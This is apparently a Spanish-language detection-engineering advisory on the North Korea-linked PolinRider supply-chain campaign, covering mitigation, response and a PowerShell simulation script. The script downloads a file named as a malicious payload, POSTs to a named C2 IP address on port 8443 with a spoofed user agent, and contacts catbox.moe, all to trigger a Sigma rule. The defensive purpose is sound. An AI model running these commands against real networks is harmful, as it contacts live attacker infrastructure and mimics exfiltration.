La campaña PolinRider de la RPDC muestra actividad en la cadena de suministro con participación manual
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Un actor de amenaza vinculado a Corea del Norte llevó a cabo un ataque a la cadena de suministro en los entornos de desarrollo utilizando paquetes de Python troyanizados. La cadena de intrusión incluyó un cargador de Node.js, un implante C2 de JavaScript y un ladrón de información basado en Python. El actor estableció persistencia disfrazando componentes maliciosos como servicios legítimos de optimización de Microsoft .NET.
Investigación
La investigación tuvo lugar dentro de un entorno de engaño de alta fidelidad donde se monitorizó una estación de trabajo corporativa señuelo durante 167 horas. Los analistas capturaron la actividad en tiempo real, incluyendo la ejecución de cargas útiles maliciosas y el almacenamiento de datos. La telemetría recogida expuso la cadena completa de ataque, desde el compromiso inicial a través de un repositorio malicioso hasta la exfiltración de datos del host.
Mitigación
Las organizaciones deben aplicar un escaneo riguroso de dependencias en npm, PyPI y otros gestores de paquetes. El filtrado de salida debe bloquear conexiones HTTP a direcciones IP públicas crudas en puertos no estándares. Los defensores también deben monitorear mecanismos de persistencia inusuales, incluidos tareas programadas o entradas de registro que imiten componentes de Microsoft .NET desde rutas de perfil del sistema.
Respuesta
Si se detecta actividad maliciosa, los equipos de seguridad deben aislar inmediatamente el entorno de desarrollo o construcción afectado. Los respondedores deben buscar direcciones IP C2 conocidas y patrones de archivos sospechosos como SvcHostUpdate.py. También se debe realizar una revisión forense de las dependencias de terceros instaladas recientemente, junto con una auditoría del perfil del sistema para detectar MicrosoftCLROptimization artefactos no autorizados.
Flujo de Ataque
Todavía estamos actualizando esta parte.
Ejecución de Simulación
-
Narrativa y Comandos del Ataque: El adversario pretende avanzar con la infección obteniendo una carga útil de segunda etapa y exfiltrando datos de configuración robados. Para imitar a PolinRider, el atacante realizará:
- Use
curlorInvoke-WebRequestpara obtener un archivo de prueba desde una URL «raw» de GitLab. - Realizar una solicitud POST a la IP C2 identificada (
150.251.113.223:8443) mientras suplanta un User-Agent que coincide con el patrónrotating.*agent. - Conectarse a
dns.catbox.moepara simular un latido C2 secundario o entrega de carga útil. Estas acciones están diseñadas para activar los tres criterios de selección distintos en la regla Sigma.
- Use
-
Script de Prueba de Regresión:
# Script de Simulación de PolinRider Write-Host "[!] Iniciando Simulación de Red de PolinRider..." -ForegroundColor Cyan # 1. Activar Selección 2: Obtención desde GitLab Raw Write-Host "[*] Activando Selección 2: Obtención desde GitLab Raw..." Invoke-WebRequest -Uri "https://gitlab.com/api/v4/raw/malicious_payload.exe" -Method Get -UserAgent "Mozilla/5.0" # 2. Activar Selección 1: POST a C2 con User-Agent Rotante Write-Host "[*] Activando Selección 1: POST a C2 con User-Agent Rotante..." $c2Url = "http://150.251.113.223:8443/upload" $fakeUA = "Mozilla/5.0 rotating-agent-v1.2" Invoke-WebRequest -Uri $c2Url -Method POST -UserAgent $fakeUA -Body "dummy_data" # 3. Activar Selección 3: Patrón DNS/URL para catbox.moe Write-Host "[*] Activando Selección 3: Conexión a Catbox.moe..." Invoke-WebRequest -Uri "https://dns.catbox.moe/check" -Method Get -UserAgent "Mozilla/5.0" Write-Host "[+] Simulación Completa. Verifique alertas en el SIEM." -ForegroundColor Green -
Comandos de Limpieza:
# No se realizaron cambios persistentes en el sistema; # Las conexiones de red son efímeras. # No se escribieron archivos en el disco en esta simulación. Write-Host "[*] Limpieza: No se modificaron archivos ni claves de registro. La simulación está limpia." -ForegroundColor Cyan